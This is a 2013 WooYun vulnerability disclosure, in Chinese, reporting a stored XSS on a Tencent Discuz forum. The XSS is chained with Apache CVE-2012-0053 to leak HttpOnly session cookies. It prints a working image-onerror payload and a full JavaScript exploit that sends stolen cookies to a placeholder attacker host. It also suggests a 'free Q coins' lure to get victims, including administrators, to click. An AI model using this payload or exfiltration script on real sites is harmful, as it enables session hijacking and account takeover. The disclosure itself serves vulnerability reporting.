当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-020583

漏洞标题:腾讯某论坛XSS攻击,获取httponly

相关厂商:腾讯

漏洞作者: 酱油甲

提交时间:2013-03-24 18:33

修复时间:2013-05-08 18:34

公开时间:2013-05-08 18:34

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-03-24: 细节已通知厂商并且等待厂商处理中
2013-03-25: 厂商已经确认,细节仅向厂商公开
2013-04-04: 细节向核心白帽子及相关领域专家公开
2013-04-14: 细节向普通白帽子公开
2013-04-24: 细节向实习白帽子公开
2013-05-08: 细节向公众公开

简要描述:

貌似DZ那边经常忽略啊,就来这边提交吧,反正也是腾讯的论坛
腾讯某DZ论坛XSS攻击,获取httponly

详细说明:

http://bbs.open.qq.com/
是APACHE服务器,由于存在CVE-2012-0053,再加上一个小小的跨站,即可获取HTTPONLY的COOKIE
测试环境:win7+火狐浏览器19
简单说下
1.这个论坛是APACHE服务器上的,存在CVE-2012-0053,这东西能突破HTTPONLY,你们肯定知道
于是我们来到任何地方,发个图片,然后在介绍里面写入:

<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/z12345G';>


DZ限制了长度,利用短域名,再加上上面这串代码刚好可以嵌入

0.jpg


1.jpg


这个位置需要点击才能触发跨站(这个洞洞记得有人提交过了,忘记您名字了……不好意思……不过不是本文重点,不做讨论),如何让别人点图片呢?
图片写个:点击送Q币 ? 怎么样?

4.jpg


2.DZ X2.5的AUTH是HTTPONLY的,所以DZ经常无视XSS漏洞吧?但是由于APACHE的漏洞,我们就能突破这个HTTPONLY

3.jpg


例如下面这个JS(写的不好请见谅……)

makeRequest();
function setCookies (good) {
var str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
for (i = 0; i < 10; i++) {
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).
toUTCString()+"; path=/;";
}
else {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
}
}
function makeRequest() {
setCookies();
function parseCookies () {
var cookie_dict = {};
if (xhr.readyState === 4 && xhr.status === 400) {
var content = xhr.responseText.replace(/\r|\n/g,'').match
(/<pre>(.+)<\/pre>/);
if (content.length) {
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);

for (var i=0; i<cookies.length; i++) {
var s_c = cookies[i].split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
}
setCookies(true);
var x=new Image();
try
{
var myopener='';
myopener=window.opener && window.opener.location?window.opener.location:'';
}
catch(err)
{
}
x.src='http://www.xxxx.com/save.php?cookie='+encodeURIComponent(JSON.stringify(cookie_dict));
}
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "httponly.php", true);
xhr.send(null);
}


3.然后我们来看下获取的信息,可爱的auth被爆出来了不是么~~

2.jpg


4.更大的用途,怎么诱惑管理员来点呢?
这个自由发挥吧,我只在自己的内网测了下,确实是可以通过这个COOKIE登陆后台的
但是需要管理员先登陆过后台并且还要改下请求头才行~~

漏洞证明:

2.jpg

修复方案:

你们比我懂

版权声明:转载请注明来源 酱油甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2013-03-25 17:41

厂商回复:

感谢反馈,已在处理中。

最新状态:

暂无